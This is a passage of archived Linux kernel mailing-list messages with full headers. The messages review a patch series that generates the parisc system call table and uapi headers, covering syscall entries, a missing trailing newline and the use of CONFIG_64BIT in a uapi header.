> > +347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
> > +348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> > +349     common  statx                           sys_statx
> > +350    common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> > \ No newline at end of file


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 3/6] parisc: add system call table generation support
Date: Mon, 8 Oct 2018 15:56:53 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <CAK8P3a0eoCVBVOZs0VwybAnUw0OUoW4Z=NJYi8686EHKj076_Q@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-4-git-send-email-firoz.khan@linaro.org> <CALxhOnj4r_MUuAa2zvkvxvhQttEvCZ98n2dA9d6CYyvVf2rB3g@mail.gmail.com>
 <20181008130301.GM32759@asgard.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539006908 11974 195.159.176.226 (8 Oct 2018 13:55:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 13:55:08 +0000 (UTC)
Cc: Firoz Khan <firoz.khan@linaro.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Eugene Syromiatnikov <esyr@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 15:55:02 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9Vzy-0002zO-1x
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 15:55:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726678AbeJHVJC (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 17:09:02 -0400
Original-Received: from mail-qt1-f194.google.com ([209.85.160.194]:38611 "EHLO
        mail-qt1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726056AbeJHVJC (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 17:09:02 -0400
Original-Received: by mail-qt1-f194.google.com with SMTP id l9-v6so20986427qtf.5;
        Mon, 08 Oct 2018 06:57:10 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=KJyIwc7avFINxy/22mDyE1l/egASi+mUwDD0qypYxLs=;
        b=RTOGnkm/qbH73H3D9Qji1HNRjOWldq+ZFt+3e0ZuvgrvosUcED3eaQxPlEae49z5zc
         GOSVwGegeX2VpWAPHNOBE+MLXWrXG2+jLhPnWdNuA53mQ0JN9xzF8GuVtxQvEF1uyikL
         rjYE2Shk5WkDQ7owns3zoQaZ55FkSfM34N6iTBjyla7ihyLDFArDGwStm+rE0Vx4q487
         AZjUrau/uaFWit+MuMvypw0UNbpt8vkFtwEpCKHT6ihkINKoGEWjYmZp5W9IvVavyLsN
         7NyGOkMr9f2YjixsCAw9sknPT4jP/fbbPIEPlw2+M2l9ES2uveKRIvcwWBeHOirJ73kc
         VM4Q==
X-Gm-Message-State: ABuFfoiYUaoSGwZY4YZvxjdPau2prW0RUkOh4XhtTCPo+trV5nKEb6bD
        Jf2sTpQIJyMgUIJjbJGcBPKhgeTTJFLRZPuaJus=
X-Google-Smtp-Source: ACcGV636uVFB+FB8O14sdOw5YJUBG1m/LNSfAccaS5Oc5dANgOFn5OoGBw++EmuvDKCql6p60L33suC0QCPWTyOIoAQ=
X-Received: by 2002:a0c:8834:: with SMTP id 49-v6mr19168743qvl.40.1539007029815;
 Mon, 08 Oct 2018 06:57:09 -0700 (PDT)
In-Reply-To: <20181008130301.GM32759@asgard.redhat.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892766 gmane.linux.ports.parisc:29106 gmane.linux.kernel.year-2038:3468 gmane.linux.kernel.cross-arch:47497
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892766>

On Mon, Oct 8, 2018 at 3:02 PM Eugene Syromiatnikov <esyr@redhat.com> wrote:
> > On Mon, 8 Oct 2018 at 10:47, Firoz Khan <firoz.khan@linaro.org> wrote:
> > > diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
>
> > > +84      common  lstat                           sys_newlstat                    compat_sys_newlstat
> > > +85      common  readlink                        sys_readlink
> > > +86      common  uselib                          sys_ni_syscall
>
> Why uselib is declared, contrary to all the skipped syscalls below,
> that were sys_ni_syscall previously? Only __NR_socketcall was explicitly
> undefined in arch/parisc/include/uapi/asm/unistd.h.

Good catch, I didn't see that in my earlier review. I agree we want the
files to be identical to the version they replace, so the macros need to
be there for now.

We may later decide to clean this up and remove all __NR_* that have
no entry point, but the conversion to the new table format needs to
otherwise be a nop.

> > > +87      common  swapon                          sys_swapon
> > > +88      common  reboot                          sys_reboot
> > > +89      common  mmap2                           sys_mmap2
> > > +90      common  mmap                            sys_mmap
> > > +91      common  munmap                          sys_munmap
> > > +92      common  truncate                        sys_truncate                    compat_sys_truncate
> > > +93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
> > > +94      common  fchmod                          sys_fchmod
> > > +95      common  fchown                          sys_fchown
> > > +96      common  getpriority                     sys_getpriority
> > > +97      common  setpriority                     sys_setpriority
> > > +98      common  recv                            sys_recv
> > > +99      common  statfs                          sys_statfs                      compat_sys_statfs
> > > +100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
> > > +101     common  stat64                          sys_stat64
>
> It is probably worth adding a comment here that syscall 102 was
> socketcall, in order to make reason for this jump in syscall numeration
> self-evident.

+1

In general, I'd argue we want to keep all the nontrivial comments that
were present in either unistd.h or syscall_table.S.

> > > +103     common  syslog                          sys_syslog
> > > +104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
> > > +105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
> > > +106     common  capget                          sys_capget
> > > +107     common  capset                          sys_capset
>
> > > +108     32      pread64                         parisc_pread64
> > > +108     64      pread64                         sys_pread64                     parisc_pread64
>
> It would be probably nice to have some syntax that would allow avoid
> this duplication (as compat handler on 64 bit and native on 32 bit are
> the same).

I think I would prefer to have the compat table be generated with the '32'
abi rather than the '64' abi, so we end up with

108     32      pread64                         parisc_pread64
   parisc_pread64
108     64      pread64                         sys_pread64

I think this makes more sense, in particular on the other architectures
that have different macro names in some cases. When we do this,
the entries could get compressed to

108     32      pread64                         parisc_pread64
108     64      pread64                         sys_pread64

> > > +348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> > > +349     common  statx                           sys_statx
> > > +350    common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> > > \ No newline at end of file

As others have commented several times, Firoz still needs to fix
the missing newline.

Firoz, please fix all the newlines before you repost any further
patches.

      Arnd


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file
 generation
Date: Mon, 8 Oct 2018 21:43:15 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <b1883a34-f256-0940-4e92-574ba48b5ca8@gmx.de>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539027683 23315 195.159.176.226 (8 Oct 2018 19:41:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 19:41:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org
To: Firoz Khan <firoz.khan@linaro.org>, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 21:41:18 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9bP3-0004Zn-AR
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 21:41:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726976AbeJIC4s (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 22:56:48 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:58197 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726439AbeJIC4s (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 22:56:48 -0400
Original-Received: from [192.168.20.60] ([92.116.184.237]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M3R1g-1frw3g2MIS-00r46l; Mon, 08
 Oct 2018 21:43:16 +0200
Original-Received: from [192.168.20.60] ([92.116.184.237]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M3R1g-1frw3g2MIS-00r46l; Mon, 08
 Oct 2018 21:43:16 +0200
Openpgp: preference=signencrypt
Autocrypt: addr=deller@gmx.de; prefer-encrypt=mutual; keydata=
 xsBNBFDPIPYBCAC6PdtagIE06GASPWQJtfXiIzvpBaaNbAGgmd3Iv7x+3g039EV7/zJ1do/a
 y9jNEDn29j0/jyd0A9zMzWEmNO4JRwkMd5Z0h6APvlm2D8XhI94r/8stwroXOQ8yBpBcP0yX
 +sqRm2UXgoYWL0KEGbL4XwzpDCCapt+kmarND12oFj30M1xhTjuFe0hkhyNHkLe8g6MC0xNg
 KW3x7B74Rk829TTAtj03KP7oA+dqsp5hPlt/hZO0Lr0kSAxf3kxtaNA7+Z0LLiBqZ1nUerBh
 OdiCasCF82vQ4/y8rUaKotXqdhGwD76YZry9AQ9p6ccqKaYEzWis078Wsj7p0UtHoYDbABEB
 AAHNHEhlbGdlIERlbGxlciA8ZGVsbGVyQGdteC5kZT7CwJIEEwECADwCGwMGCwkIBwMCBhUI
 AgkKCwQWAgMBAh4BAheAFiEE9M/0wAvkPPtRU6Boh8nBUbUeOGQFAlrHzIICGQEACgkQh8nB
 UbUeOGT1GAgAt+EeoHB4DbAx+pZoGbBYp6ZY8L6211n8fSi7wiwgM5VppucJ+C+wILoPkqiU
 +ZHKlcWRbttER2oBUvKOt0+yDfAGcoZwHS0P+iO3HtxR81h3bosOCwek+TofDXl+TH/WSQJa
 iaitof6iiPZLygzUmmW+aLSSeIAHBunpBetRpFiep1e5zujCglKagsW78Pq0DnzbWugGe26A
 288JcK2W939bT1lZc22D9NhXXRHfX2QdDdrCQY7UsI6g/dAm1d2ldeFlGleqPMdaaQMcv5+E
 vDOur20qjTlenjnR/TFm9t 
In-Reply-To: <1538975801-13735-5-git-send-email-firoz.khan@linaro.org>
Content-Language: en-US
X-Provags-ID: V03:K1:0ZkO1wisNQ8oXYcSH1TE1DAdXJ8h1CfD/RHlxa59/ZY70FCDGDv
 reSMa2zvRk5q0gylX19/cqy3qgO43td0bSmvEIlxAM3IbJNKTjvMoFQdEhr8mxULr2EBAeR
 tWT7cLvNyTS6IjbKmrGyjehfoTSCtUSdYtMiWIzeEm6i9poJV9C4AuKA6earYsD4qZ0wT5B
 wyCrsfYn/fR3zA6dlTgKA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:V+4fmwaAqU4=:Mb+rp4yb2YMgpF+advMcGm
 WEOcuDFNexBluveV6Dko9P4Qp9WKwYMpaTaBwd0i3TIP9Fs8jvHYwmIT9PHopetwIdNuAcKGM
 YXY1IgmC0b0k1f711hELa3Jl/CWy7GsYwapVTOxPoo9Snuqp3YwLdmduTU/3flJHyDl4+uSjf
 NxLLMH0pBpPnY58Kq+bWSJ9qwwdrNGNe//mfIRREW8ATOMCyVbY8R3AaCoZOM31IQchnALutR
 AeSnCTntLSyVYiYXlddgefM+4JJ8rqGo9QWUMWqS2eb5xKD24EsHzLUqsso6iSdJIpVvropEy
 dVb6kGimIAlaJB2qlAbjl9/8PNRyCDN6IPd/JYPPTL7pJFfiv7yfdRwsvrWozP31nGl+j5lfw
 QgMLKCUzGHuiZD1SLLpIb5NdXuOmTw+6i9UnVRC6QEtXBlbMgiNn3rqMbTDnWymuzDiukcxCP
 EfFwBV+5dp5D8hVa8kGDnNbuYEtAOfPHgPVJGjt/hhjofXqeqM4UxONK0/RI+yG5wS1wa7LpK
 K/1ZO2KCvJv1ALVg5xSW/+RwgzqPOUfhrCDk9By+P35R6vFopmHCIy1HIMxg//I6Kcyvjlyqj
 JWDMMlthV0UTkJX1VxxSGA+nPXt/4TbJ7Ne8JybSxqq4iKZA9TAt7yuwr+/1pAtqrgmtA+kZV
 YWORhX0e/eJejRnR1g8fGpNUS2IV+tvbFQtDVkohvlMsVFasbXkZHzr4xzvWUr3CHBwfgdXsE
 vG/gvGKNqGlGMCOL36O+HKqKpbUPpeiuOuhfZDxJ+MBtRi5B8FHT9l9EE0PazG/RIU1w9/qr 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2893675 gmane.linux.ports.parisc:29107 gmane.linux.kernel.year-2038:3469 gmane.linux.kernel.cross-arch:47499
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2893675>

On 08.10.2018 07:16, Firoz Khan wrote:
> System call table generation script must be run to generate
> unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
> will have changes which will invokes the script.
> 
> This patch will generate unistd_32/64.h and syscall_table_
> 32/64/c32.h files by the syscall table generation script
> invoked by arch/parisc/Makefile and the generated files against
> the removed files will be identical.
> 
> The generated uapi header file will be included in uapi/asm/
> unistd_32/64.h and generated system call table support file will
> be included by arch/sparc/kernel/syscall_table_32/64.S file.
> 
> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
...
> diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
> index f10d065..76e3a3b 100644
> --- a/arch/parisc/include/uapi/asm/unistd.h
> +++ b/arch/parisc/include/uapi/asm/unistd.h
> @@ -2,374 +2,13 @@
>  #ifndef _UAPI_ASM_PARISC_UNISTD_H_
>  #define _UAPI_ASM_PARISC_UNISTD_H_
>  
...
> -
> -#ifdef __KERNEL__
> -#define __NR_syscalls           351
> +#define __NR_Linux           0
> +#ifdef CONFIG_64BIT

You can't use CONFIG_64BIT in an uapi header file.
It's only defined inside the kernel when building the kernel.
Please use
	#ifdef __LP64__
instead here.

> +#include <asm/unistd_64.h>
> +#else
> +#include <asm/unistd_32.h>
>  #endif


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file generation
Date: Tue, 9 Oct 2018 10:26:48 +0530
Lines: 50
Approved: news@gmane.org
Message-ID: <CALxhOnhtrzyxH3ACQHFVTc4=Tn+BuVtJpYz1EHErYCADVemU4A@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org> <b1883a34-f256-0940-4e92-574ba48b5ca8@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539060898 29233 195.159.176.226 (9 Oct 2018 04:54:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Oct 2018 04:54:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 09 06:54:53 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9k2m-0007S2-J1
	for glk-linux-kernel-4@m.gmane.org; Tue, 09 Oct 2018 06:54:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726548AbeJIMMD (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 9 Oct 2018 08:12:03 -0400
Original-Received: from mail-yw1-f68.google.com ([209.85.161.68]:33271 "EHLO
        mail-yw1-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726461AbeJIMMD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 9 Oct 2018 08:12:03 -0400
Original-Received: by mail-yw1-f68.google.com with SMTP id m127-v6so132380ywb.0
        for <linux-kernel@vger.kernel.org>; Mon, 08 Oct 2018 21:57:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=rKOdz1WoF9+ASgSxpoT05XJYq3BadarNrkSIFhl6RUM=;
        b=biaPpnSqZ0b3rxKbfqxmynR45nl0Mnuy3JuGqb0IEeMlWRJRC8tZOrqOFrr+XOsD83
         s/+Mbq0oWKqWafovVZgLJbpmCb5HI/oIsa8dAEUxThdF0GAWAYHcgIRdbjMrHb0L6atu
         Hzjk/dGhK1vmXzV7Ilw5MoGXrWExjqlKlQrLY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=rKOdz1WoF9+ASgSxpoT05XJYq3BadarNrkSIFhl6RUM=;
        b=ff3OxGiQrmk4Jy4llo0AtxpEGuINSj3vwDQNxz/dLoM0+tOVSBg5P1QR7lrW9HVxHC
         LZgwkU/FSjOYj562cnxX5jpviK2oTUYzsB7A7cw7slqUT3+ehgO4t6Xh1e035RGilQoB
         E15Osr3wS9aOdRS/9UqSWUhF3LJEWeMrer1t5JVbpCESvxIDaIEObSpCgnvrxIUQ5CKz
         cgycgD1vzTN7cvoTst1V0PlxtX8LNtCQoMdEFR5Rt0J+2BC2Ubp0sY2bSyOG/zJWYJox
         Bmb3vkBPrHhEqc8Dj/OrcgNh7+sSu7DUyhxINuAuhkZ3zji3XpgvvvPxYdHDpQlG4lM4
         u/RQ==
X-Gm-Message-State: ABuFfohI5oNbg49e9u1sLn80trlDazMQGFmIU6b6rhTVZSwAilZaaX3R
        c7ImABPCcsEgC93J8NozDZKdbODgBD3aTkGILVrf/A==
X-Google-Smtp-Source: ACcGV62TstXx0m4zSrATHTl2Tse6yweHH3yBvgC3Mox2RmVAGv5kFXes5AhzQuNanY4IeBz5MkG5ZKD1lMpA5Yt+Wbk=
X-Received: by 2002:a81:21c1:: with SMTP id h184-v6mr14816471ywh.367.1539061020087;
 Mon, 08 Oct 2018 21:57:00 -0700 (PDT)
In-Reply-To: <b1883a34-f256-0940-4e92-574ba48b5ca8@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2893953 gmane.linux.ports.parisc:29108 gmane.linux.kernel.year-2038:3470 gmane.linux.kernel.cross-arch:47500
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2893953>

Hi Helge,

On Tue, 9 Oct 2018 at 01:13, Helge Deller <deller@gmx.de> wrote:
>
> On 08.10.2018 07:16, Firoz Khan wrote:
> > System call table generation script must be run to generate
> > unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
> > will have changes which will invokes the script.
> >
> > This patch will generate unistd_32/64.h and syscall_table_
> > 32/64/c32.h files by the syscall table generation script
> > invoked by arch/parisc/Makefile and the generated files against
> > the removed files will be identical.
> >
> > The generated uapi header file will be included in uapi/asm/
> > unistd_32/64.h and generated system call table support file will
> > be included by arch/sparc/kernel/syscall_table_32/64.S file.
> >
> > Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> ...
> > diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
> > index f10d065..76e3a3b 100644
> > --- a/arch/parisc/include/uapi/asm/unistd.h
> > +++ b/arch/parisc/include/uapi/asm/unistd.h
> > @@ -2,374 +2,13 @@
> >  #ifndef _UAPI_ASM_PARISC_UNISTD_H_
> >  #define _UAPI_ASM_PARISC_UNISTD_H_
> >
> ...
> > -
> > -#ifdef __KERNEL__
> > -#define __NR_syscalls           351
> > +#define __NR_Linux           0
> > +#ifdef CONFIG_64BIT
>
> You can't use CONFIG_64BIT in an uapi header file.
> It's only defined inside the kernel when building the kernel.
> Please use
>         #ifdef __LP64__
> instead here.

Sure.  Thanks!
Firoz

>
> > +#include <asm/unistd_64.h>
> > +#else
> > +#include <asm/unistd_32.h>
> >  #endif


From - Thu Nov 08 21:42:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 3/6] parisc: add system call table generation support
Date: Tue, 9 Oct 2018 11:05:36 +0530
Lines: 121
Approved: news@gmane.org
Message-ID: <CALxhOniJZGNCP+Xw_9EF8hnUEG_AWwrnQ86Gbh7vAW6SrE8ykQ@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-4-git-send-email-firoz.khan@linaro.org> <CALxhOnj4r_MUuAa2zvkvxvhQttEvCZ98n2dA9d6CYyvVf2rB3g@mail.gmail.com>
 <20181008130301.GM32759@asgard.redhat.com> <CAK8P3a0eoCVBVOZs0VwybAnUw0OUoW4Z=NJYi8686EHKj076_Q@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539063229 7119 195.159.176.226 (9 Oct 2018 05:33:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 9 Oct 2018 05:33:49 +0000 (UTC)
Cc: esyr@redhat.com, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 09 07:33:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9keK-0001f1-4n
	for glk-linux-kernel-4@m.gmane.org; Tue, 09 Oct 2018 07:33:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726451AbeJIMu7 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 9 Oct 2018 08:50:59 -0400
Original-Received: from mail-yb1-f195.google.com ([209.85.219.195]:36091 "EHLO
        mail-yb1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725823AbeJIMu6 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 9 Oct 2018 08:50:58 -0400
Original-Received: by mail-yb1-f195.google.com with SMTP id 5-v6so151077ybf.3
        for <linux-kernel@vger.kernel.org>; Mon, 08 Oct 2018 22:35:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=aJXZ+n4IgkZxRAPBoWICtVIXq5V6GtuPdnhCHK1Q1XQ=;
        b=VdkTIMiP7AijPcbhy2qmmmhpgubd1RIdk5DA6zoHtUxUr8iqrMCMBeKInRVywSP23d
         qwg9hwZotznCLPpETsjmN7HhO72HQPzrKxY3j1RvFAD8yTcRWUNRHNbA3nriiMeWygL5
         ifg+sqQ04gwD/k6MPpKyveEG5rmNUv2hBPnnA=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=aJXZ+n4IgkZxRAPBoWICtVIXq5V6GtuPdnhCHK1Q1XQ=;
        b=blIx/fvl0P29+5Lzsgso1g4nrsH8kQYVMOjx6uvvt8VdcEonp07poxS21DtgBwTBeg
         nJDaw9UDOOvnOovUpQbvgdPpBEBZlPqE8kEdqbIpskMA+qt80MxMkewRAr4dkqtRMs5j
         eB7p69ubwGuGPnlgIqliZFrRqatnI6ezNwjdYo5nTUVo1p4cimdXf1kJHhKRyUfExWBi
         xdLX/gGhUuQWUhPP7rEsK+6B7x5nnHbbmUZSe4iDo5z05GcTmxC8uL0DNJsYMXmEpvUJ
         iKArd7I2DBsxNXmSn0Bdr5yXS/nogtY94L2caGFQUTt2s38Slfo9KFHe+/5CFt2dIJZm
         g0nQ==
X-Gm-Message-State: ABuFfohiODqmUKocOtUOxQJkmTeSD4XMPOrnGqQpWCXUSiCqqtACOTCB
        2uCestqotCNbNFukpYtmJfJYWasOlB9mIvxCCtGPwg==
X-Google-Smtp-Source: ACcGV60XRw/PII7v8J+U2PDGEx+8Jl0bSsGxY0Hz8bzUifia5vgo6iJ5/JrY0DfMhJ4mR+5AvojWc8nJqwwAPPvpsww=
X-Received: by 2002:a5b:850:: with SMTP id v16-v6mr14815258ybq.393.1539063347880;
